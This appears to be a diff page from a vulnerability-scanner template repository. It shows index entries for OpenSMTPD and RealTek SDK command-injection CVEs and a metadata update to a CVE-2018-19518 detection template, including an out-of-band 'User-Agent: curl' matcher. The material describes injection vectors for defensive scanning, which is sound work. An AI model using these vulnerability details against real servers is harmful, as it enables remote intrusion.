{"ID":"CVE-2020-7247","Info":{"Name":"OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution","Severity":"critical","Description":"OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the \"uncommented\" default configuration. The issue exists because of an incorrect return value upon failure of input validation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-7247.yaml"}
|
||||
{"ID":"CVE-2021-35394","Info":{"Name":"RealTek AP Router SDK - Arbitrary Command Injection","Severity":"critical","Description":"The SDK exposes a UDP server that allows remote execution of arbitray commands.","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2021/CVE-2021-35394.yaml"}
|
||||
|
||||
@@ -1 +1 @@
|
||||
3a74c74dfb60ee61c2864054b1b4df88
|
||||
5673c391d68c9e3160e952a4497f8805
|
||||
@@ -16,8 +16,8 @@ info:
|
||||
cvss-score: 7.5
|
||||
cve-id: CVE-2018-19518
|
||||
cwe-id: CWE-88
|
||||
epss-score: 0.93964
|
||||
epss-percentile: 0.99875
|
||||
epss-score: 0.93909
|
||||
epss-percentile: 0.99868
|
||||
metadata:
|
||||
max-request: 1
|
||||
confidence: tenative
|
||||
@@ -49,4 +49,4 @@ http:
|
||||
part: interactsh_request
|
||||
words:
|
||||
- "User-Agent: curl"
|
||||
# digest: 4a0a00473045022100f49d06537ed8ad00c2c83083d49e4676200bf096d2312f819280bbb90c7d7950022041ed93b924325ee5bec6087d2ad160b10fe25b492fc0cbcbd0bc5d52457548fe:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502205046c9cb1156d2d9fbbc7a0c0c0c44395fbd41535ae5cb8620466480938de56102210085877e7be4f3ae287f71eaadc0c0284ec0f77e68e4063fb6687f1750c9b85c74:922c64590222798bb761d5b6d8e72950
|
||||
Loaded 100 of 3471 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user